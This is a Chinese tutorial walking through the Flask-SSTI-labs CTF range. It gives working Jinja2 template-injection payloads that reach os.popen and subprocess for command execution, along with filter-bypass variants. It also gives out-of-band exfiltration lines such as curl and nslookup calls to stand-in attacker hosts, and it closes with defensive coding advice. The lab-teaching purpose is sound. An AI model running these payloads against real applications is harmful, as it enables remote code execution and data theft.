ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

Flask SSTI漏洞攻防实战:从Jinja2模板注入到命令执行

2026/8/16 3:53:06 拓冰建站 浏览量
Flask SSTI漏洞攻防实战:从Jinja2模板注入到命令执行

1. 项目概述:从一道题看透Flask SSTI的攻防本质

最近在带新人入门CTF的Web安全方向,发现很多朋友对SSTI(服务器端模板注入)这个考点既感到好奇又有些畏惧。好奇在于它往往能一击必中,直接拿到系统权限;畏惧则是因为涉及模板引擎、Python沙箱绕过等看似复杂的知识。正好,网上有一套经典的Flask-SSTI-labs靶场,它没有复杂的场景包装,就是最纯粹的Flask + Jinja2 SSTI漏洞实战,非常适合用来打基础、建体系。今天,我就以通关这个靶场为主线,带大家拆解SSTI从漏洞发现到利用的完整链条。这不是一篇简单的“payload合集”,而是希望你能跟我一起,理解每一个payload为什么能工作,背后的限制又是什么,从而真正掌握这种漏洞的“手感”。

简单来说,SSTI发生在当应用程序将用户输入直接拼接进模板语句进行渲染时。攻击者可以注入模板语法,让服务端执行本不该执行的代码。Flask默认使用Jinja2模板引擎,功能强大但一旦失控,后果严重。这个靶场模拟了多种常见的、有防护的以及容易让人踩坑的SSTI场景,通关它,你不仅能学会如何攻击,更能深刻理解开发中该如何防御。

2. 靶场环境搭建与核心概念预热

在开始“打怪”之前,我们得先把战场布置好。Flask-SSTI-labs通常是一个开源的Python项目,我们需要在本地搭建起来。

2.1 环境准备与靶场部署

首先,确保你的机器上安装了Python3和pip。我推荐使用虚拟环境来管理依赖,避免污染全局环境。

# 创建并进入一个专门的目录 mkdir flask-ssti-labs && cd flask-ssti-labs # 创建Python虚拟环境 python3 -m venv venv # 激活虚拟环境 # Linux/Mac source venv/bin/activate # Windows venv\Scripts\activate

激活虚拟环境后,命令行提示符前通常会出现(venv)字样。接下来,克隆靶场代码并安装依赖。假设靶场代码仓库在GitHub上,我们可以直接克隆。

# 克隆靶场代码(这里以示例仓库为例,实际请替换为正确的仓库地址) git clone https://github.com/example/Flask-SSTI-labs.git . # 安装依赖 pip install -r requirements.txt

注意:有些靶场可能没有提供requirements.txt,或者依赖不全。如果运行时报错缺少模块(如flask),你需要手动安装:pip install flask。这是实战中常遇到的小问题,学会看报错信息并解决依赖是第一步。

依赖安装完成后,直接运行主程序文件(通常是app.pyrun.py)。

python app.py

如果看到类似* Running on http://127.0.0.1:5000/的输出,说明靶场已经成功在本地5000端口运行。用浏览器访问这个地址,就能看到靶场的题目列表界面了。

2.2 SSTI与Jinja2引擎核心原理速览

在动手解题前,花几分钟理解原理至关重要。这能让你从“背payload”升级到“造payload”。

什么是模板引擎?想象一下你要写100封邮件,内容结构相同,只是收件人名字不同。你不会手写100遍,而是会做一个“模板”,把名字处留空。模板引擎就是干这个的:它允许开发者编写一个包含静态文本和特殊“占位符”(变量、逻辑块)的模板文件,然后传入具体的“数据”(上下文),引擎负责将数据和模板结合,生成最终的HTML、邮件等文本。

Jinja2的基本语法:

  • {{ ... }}:用于输出变量或表达式的值到最终页面。
  • {% ... %}:用于执行控制语句,如循环(for)、条件(if)。
  • {# ... #}:注释。

漏洞如何产生?一个安全的用法是:render_template('index.html', name=username)。这里username是开发者控制的、传递给模板的变量。 而漏洞产生的典型代码如下:

from flask import request, render_template_string ... template = '<h1>Hello, ' + request.args.get('name') + '!</h1>' return render_template_string(template)

如果用户传入的name参数是{{7*7}},那么拼接后的模板就变成了<h1>Hello, {{7*7}}!</h1>render_template_string会执行这个模板,计算7*7并输出49。这就完成了一次最简单的SSTI检测。

为什么SSTI危险?因为Jinja2等模板引擎功能强大,它们为了在模板中实现复杂逻辑,暴露了许多内置对象、函数和方法。在Flask的Jinja2环境中,默认就存在一些特殊的全局对象,比如:

  • config:当前Flask应用的配置对象,可能包含数据库密码等敏感信息。
  • request:当前的请求对象。
  • self:模板自身的命名空间。
  • 以及通过Python对象继承链可以访问到的所有模块和函数(如os,subprocess)。

攻击者的目标,就是从简单的表达式计算,一步步“跳转”到能够执行任意系统命令或读取敏感文件的地步。下面,我们就进入靶场,看看这条攻击链是如何构建的。

3. 基础关卡:漏洞发现与信息收集

靶场的前几关通常是毫无防护的SSTI,目的是让你熟悉漏洞存在的形式和基本的测试方法。

3.1 第一关:确认漏洞点与基础Payload

访问第一关的URL,通常是一个简单的输入框,让你输入名字然后打招呼。查看页面源代码,或者用Burp Suite抓包,找到提交参数的地方,假设参数名为name

第一步:漏洞探测我们提交一个最简单的测试payload:{{7*7}}。 如果页面上返回的问候语不是“Hello, {{7*7}}!”,而是“Hello, 49!”,那么SSTI漏洞就确认存在了。这说明我们输入的{{ }}被服务端的Jinja2引擎解析并执行了。

第二步:探索上下文环境仅仅知道有漏洞还不够,我们需要知道在模板中我们能“看到”什么。Jinja2提供了访问对象属性和方法的语法。

  • {{ ''.__class__ }}:这会显示空字符串的类,输出类似<class 'str'>。这证明了我们可以访问Python对象的特殊属性__class__
  • {{ [].__class__ }}:查看列表的类。
  • {{ config }}:尝试输出Flask的config对象。如果成功,你可能会看到一长串配置信息,这是第一个重要的信息泄露点。

第三步:理解对象继承链在Python中,一切皆对象,对象通过__class__属性指向它的类,类通过__base____bases__属性指向它的父类,通过__subclasses__()方法可以获取它的所有子类。这个继承链是我们从模板内置的有限对象,通往所有Python内置模块(如os)的桥梁。 尝试:{{ ''.__class__.__mro__ }}__mro__(Method Resolution Order)会显示一个类的继承顺序。你会看到str->object。我们的终极目标object类出现了,因为几乎所有类都继承自它。

3.2 第二关:利用继承链寻找危险子类

第一关确认了漏洞和基本环境,第二关往往开始尝试利用。我们的目标是找到一个能执行命令或读文件的子类。

手动寻找os模块:我们知道,最终要调用os.system('whoami')os.popen('cat /etc/passwd').read()这样的命令。所以我们需要在模板上下文中,找到一个导入了os模块的类。我们可以通过遍历object的子类来寻找。 payload如下:

{{ ''.__class__.__mro__[1].__subclasses__() }}

解释:''.__class__<class 'str'>__mro__[1]<class 'object'>(因为__mro__(<class 'str'>, <class 'object'>)),__subclasses__()会返回object的所有子类列表。这个列表非常长,直接输出可能页面会卡死或者显示不全。

技巧:在浏览器中搜索将上面payload的返回结果(一大串HTML)的源代码保存下来,或者更简单的方法,使用一个包含搜索功能的payload。但Jinja2模板中执行循环和判断比较麻烦。一个更聪明的方法是,利用索引。我们可以写一个小脚本,在本地起一个类似的Flask环境,先打印出所有子类及其索引,找到我们想要的类(比如<class 'os._wrap_close'>)的索引号,然后在靶场直接使用这个索引。

假设我们通过本地测试,发现<class 'os._wrap_close'>在子类列表中的索引是133。那么攻击payload就简化为:

{{ ''.__class__.__mro__[1].__subclasses__()[133] }}

这会成功引用到os._wrap_close这个类。注意,这个索引值在不同Python版本、不同环境中可能不同,这就是为什么不能死记硬背payload的原因。

3.3 第三关:实现命令执行与文件读取

找到了os._wrap_close类,我们离执行命令只差两步:1. 实例化这个类(或调用它的某个方法);2. 通过它调用os模块的方法。

方法一:通过__init____globals____init__是类的初始化方法,__globals__是一个字典,包含了函数所在模块的全局变量。对于os._wrap_close类,它的__init__.__globals__里就有os模块。 payload构造:

{{ ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['os'].popen('whoami').read() }}

分解步骤:

  1. 获取object的子类列表中的第133个元素(os._wrap_close类)。
  2. 访问该类的__init__方法。
  3. 通过__globals__字典,获取该方法所在模块(即os模块)的全局命名空间。
  4. 从该命名空间中取出os模块本身。
  5. 调用os.popen('whoami')执行系统命令,并返回一个文件对象。
  6. 调用.read()读取命令执行的结果。

如果执行成功,页面上就会显示当前服务运行的用户名(如www-dataroot等)。

方法二:利用Popen类执行命令除了找os模块,我们也可以直接寻找能执行命令的子类,比如subprocess.Popen。同样需要先找到它在子类列表中的索引(假设是258)。 payload:

{{ ''.__class__.__mro__[1].__subclasses__()[258](['whoami'], stdout=-1).communicate()[0] }}

这个payload直接实例化了subprocess.Popen类,传入了命令参数,并获取其输出。

实操心得:关于回显不是所有命令执行都有回显。os.system()的返回值是命令的退出状态码,而不是输出内容,所以用os.system('ls')可能在页面上看不到文件列表。os.popen().read()subprocess.Popen是获取输出的可靠方法。如果页面没有回显,可以考虑将结果写入一个Web目录下的文件,然后通过浏览器访问该文件(盲注),或者使用DNS、HTTP请求外带数据(Out-of-Band)。

4. 进阶关卡:绕过常见过滤与限制

靶场的中段关卡会引入一些常见的防护措施,比如过滤关键字、删除特定字符等。这时就需要我们进行绕过了。

4.1 关键字过滤绕过(如过滤config,class,os等)

场景:题目过滤了configclassos等关键词,输入后返回为空或被拦截。

绕过技巧1:字符串拼接Jinja2中可以使用~进行字符串拼接,或者直接使用加法。

  • 原始:{{ config }}
  • 绕过:{{ 'co'~'nfig' }}{{ 'co'+'nfig' }}
  • 对于__class__{{ ''['__cla'+'ss__'] }}或使用attr过滤器:{{ ''|attr('__cla'+'ss__') }}

绕过技巧2:利用编码或十六进制

  • 将关键字进行编码,在模板中解码。Jinja2没有内置的decode,但我们可以利用Python的字符串方法。
  • 例如,'__class__'的十六进制表示为5f5f636c6173735f5f(可以通过'__class__'.encode('hex')在Python2中获取,Python3略有不同)。但在Jinja2中直接使用十六进制字符串不方便。
  • 更实用的方法是利用chr()函数和加法来构造字符串。
{% set x = ''.__class__ %} {% set chr = x.__init__.__globals__.__builtins__.chr %} {{ chr(95)~chr(95)~chr(99)~chr(108)~chr(97)~chr(115)~chr(115)~chr(95)~chr(95) }}

这段代码先获取了chr函数,然后通过ASCII码拼接出了字符串__class__。虽然看起来复杂,但这是自动化工具生成payload的常用思路。

绕过技巧3:使用替代属性或方法

  • 过滤了__class__,可以试试__mro____bases__,它们也能指向父类。
  • 例如:{{ ''.__mro__[1] }}同样可以得到<class 'object'>

4.2 括号、引号过滤绕过

场景:过滤了()''"",导致无法调用方法或定义字符串。

绕过技巧1:利用过滤器Jinja2的过滤器(|)可以在不显式使用括号的情况下调用函数(某些过滤器)。

  • 例如,request对象是全局可用的。request有一个args属性(GET参数字典)。我们可以通过request.args.param来获取参数,这不需要括号。
  • 但执行命令最终需要括号。这时可以利用maplist等过滤器,或者更高级的技巧,如利用__getitem__方法。
  • 对于字符串,如果引号被过滤,可以考虑使用数字、列表、字典等其它数据类型转换而来,或者利用特殊变量如request.args的键名本身就是字符串。

绕过技巧2:使用__getitem____call__

  • obj.__getitem__(key)等价于obj[key]
  • func.__call__(args)等价于func(args)
  • 当括号被过滤时,我们可以用__call__来调用函数。
  • 例如,假设我们已经获取到了一个函数对象func,想执行func('arg'),可以写成:{{ func.__call__('arg') }}。如果单引号也被过滤,参数传递会更复杂,可能需要从其它地方获取字符串。

一个综合绕过示例: 假设过滤了[]'"()。这非常严格。但我们仍然有路可走。

  1. 利用request对象:request.args是一个ImmutableMultiDict,我们可以通过request.args.x1获取名为x1的参数值。这不需要中括号和引号。
  2. 利用属性访问:__class__是属性,可以直接访问。
  3. 利用__getitem__代替中括号:__mro__.__getitem__(1)
  4. 利用__call__代替括号:__subclasses__.__call__()

最终,一个获取object子类的payload可能演变成:

{{ ().__class__.__bases__.__getitem__(0).__subclasses__.__call__() }}

这里用元组()代替字符串''作为起点,因为它的类tuple也继承自object。通过__getitem__(0)获取第一个基类(object),然后调用__subclasses__()

4.3 长度限制与无回显利用

场景:输入框有长度限制,或者命令执行后结果不回显在页面上。

应对技巧1:短payload构造

  • 目标是尽可能缩短payload。可以使用更短的变量名(如果支持变量赋值),或者利用更短的继承链。
  • 例如,直接用数字、空列表、空字典的类:[].__class__.__base__{}.__class__.__bases__[0]
  • 使用Jinja2的namespace对象:{{ lipsum.__globals__.__builtins__ }}有时可以快速访问到内置函数,lipsum是Jinja2的一个全局函数。

应对技巧2:盲注与外带数据当没有回显时,我们需要将命令执行的结果发送到我们可控的服务器。

  • HTTP请求外带:利用命令执行发起一个HTTP请求,将结果作为URL参数或Cookie带出来。
    • 在Linux下:curl http://your-server.com/?result=$(whoami|base64)
    • 在Python SSTI中,如果能导入urllibrequests模块,也可以实现。但更常见的是用os.popen执行curlwget命令。
    • 你需要一个公网服务器并监听HTTP请求,查看访问日志来获取数据。
  • DNS请求外带:有些环境可能禁止外发HTTP但DNS查询是允许的。
    • 命令:nslookup $(whoami).your-domain.com
    • 在你的DNS服务器日志中,可以看到子域名解析记录,从而获取whoami的结果。注意结果中不能有特殊字符,可能需要编码。
  • 写入Web目录文件:如果知道Web绝对路径,且具有写权限,可以将结果写入一个.txt.php文件,然后通过浏览器访问。
    • 命令:os.popen('whoami > /var/www/html/result.txt').read()

5. 高阶关卡:深入沙箱与特殊对象利用

靶场的后期关卡可能会模拟更真实的受限环境,比如删除了大部分危险的子类,或者设置了严格的沙箱。

5.1 寻找“幸存”的危险函数

ossubprocess相关的子类都被删除或无法访问时,我们需要寻找其他“有用”的类。目标类通常具有以下特征:

  1. __init__.__globals__字典中包含有用的模块(如os,sys,builtins)。
  2. 其类本身或其实例有危险的方法(如_module,func_globals)。

我们可以写一个脚本,在本地类似环境中遍历所有子类,打印出那些__globals__中包含ossubprocessimport等关键字的类及其索引。这是一个信息收集的过程。

例如,可能会发现<class 'warnings.catch_warnings'>这个类,它的__init__.__globals__里有linecache模块,而linecache模块的__dict__里又包含了os模块。这就形成了一条新的利用链。

5.2 利用内置函数__builtins____import__

__builtins__是一个包含了所有内置函数(如eval,exec,open,__import__)的模块。如果能访问到它,就几乎无所不能。

如何获取__builtins__

  • 通过任何一个Python函数或方法的__globals__['__builtins__']
  • 通过已经获取到的某个类的__init__.__globals__['__builtins__']
  • 有时__builtins__本身在模板上下文中就是一个可访问的对象(在Jinja2中,它有时被注入为全局变量)。

一旦获取到__builtins__,就可以:

  • {{ __builtins__.open('/etc/passwd').read() }}:读取文件。
  • {{ __builtins__.__import__('os').system('id') }}:导入os模块并执行命令。__import__函数非常关键,它允许我们动态导入任何模块。

5.3 利用Flask特殊全局对象

Flask在渲染模板时,会注入一些全局对象和函数,除了configrequest,还有:

  • session: 用户会话对象,可能包含敏感信息。
  • g: 请求全局变量。
  • url_for()get_flashed_messages()等函数。

这些对象本身可能不是攻击向量,但它们的属性或方法可能指向有用的模块。例如,在某些Flask配置下,config对象本身可能就包含对os模块的引用(虽然不常见)。更重要的是,request对象是研究SSTI绕过的宝库,因为它是一个复杂的对象,有很多属性和方法可以链式调用。

6. 防御视角:从攻击中学习安全编码

通关靶场不仅是为了学会攻击,更是为了理解漏洞根源,从而在开发中避免它。

6.1 SSTI漏洞产生的根本原因

根本原因就一句话:将用户可控的数据,未经充分处理就直接传递给了模板渲染函数。这里的“模板渲染函数”特指那些渲染字符串模板的函数,如Flask的render_template_string(),或者某些框架中类似Template(template_string).render(context)的用法。

6.2 有效的防御方案

  1. 绝对禁止使用render_template_string渲染用户输入:这是最根本的一条。除非有极其特殊且安全可控的需求,否则在Web应用中应避免使用此函数。如果需要动态模板,应使用预定义好的模板片段,通过安全的传参方式来实现。

  2. 严格的输入过滤与白名单:如果业务上确实需要一些动态内容(比如邮件模板、报告模板),必须对用户输入进行严格审查。

    • 黑名单无效:过滤{{}}{%%}__等字符很容易被绕过(如拼接、编码、利用attr过滤器)。
    • 应采用白名单:只允许用户输入一组安全的、预定义的标签或标记,并在服务端将其转换为安全的模板变量。或者,使用完全不同的、功能受限的模板语法(如Mustache)。
  3. 沙箱化模板环境:对于必须使用动态模板的场景,可以创建一个高度受限的沙箱环境。

    • 移除或重写危险的全局函数和变量(如__builtins__osevalopen)。
    • 使用Jinja2的SandboxedEnvironment。但要注意,沙箱并非绝对安全,历史上也存在过沙箱逃逸漏洞,需要及时更新版本。
    • 自定义过滤器(filter)和全局函数(global)时,确保其功能安全,不执行任意代码。
  4. 代码审查与自动化扫描:在代码审查中,重点关注所有使用模板渲染的地方,特别是那些拼接字符串作为模板的代码。可以使用SAST(静态应用安全测试)工具来辅助发现潜在的SSTI漏洞点。

6.3 开发中的安全习惯

  • 明确数据与代码的边界:始终牢记,用户输入是数据,模板语法是代码。绝不能混为一谈。
  • 使用安全的API:Flask的render_template()函数用于渲染文件模板,它是安全的,因为它将模板文件与数据上下文分离。坚持使用它。
  • 最小权限原则:运行Flask应用的进程,应使用非root、低权限的用户,并限制其文件系统访问权限和网络访问权限。这样即使被攻破,危害也能被控制在较小范围。

通关Flask-SSTI-labs靶场,就像完成了一次针对SSTI漏洞的“外科手术式”解剖。从最简单的漏洞确认,到复杂的过滤绕过,再到沙箱环境下的利用链构造,每一步都加深了对Jinja2模板引擎和Python对象模型的理解。我个人的体会是,死记硬背payload永远跟不上变化,真正重要的是掌握“为什么这个payload能工作”以及“当它不工作时我该如何调试和寻找新路径”的能力。下次当你看到{{}}时,希望你能立刻意识到其中可能蕴含的风险,无论是作为攻击者还是防御者。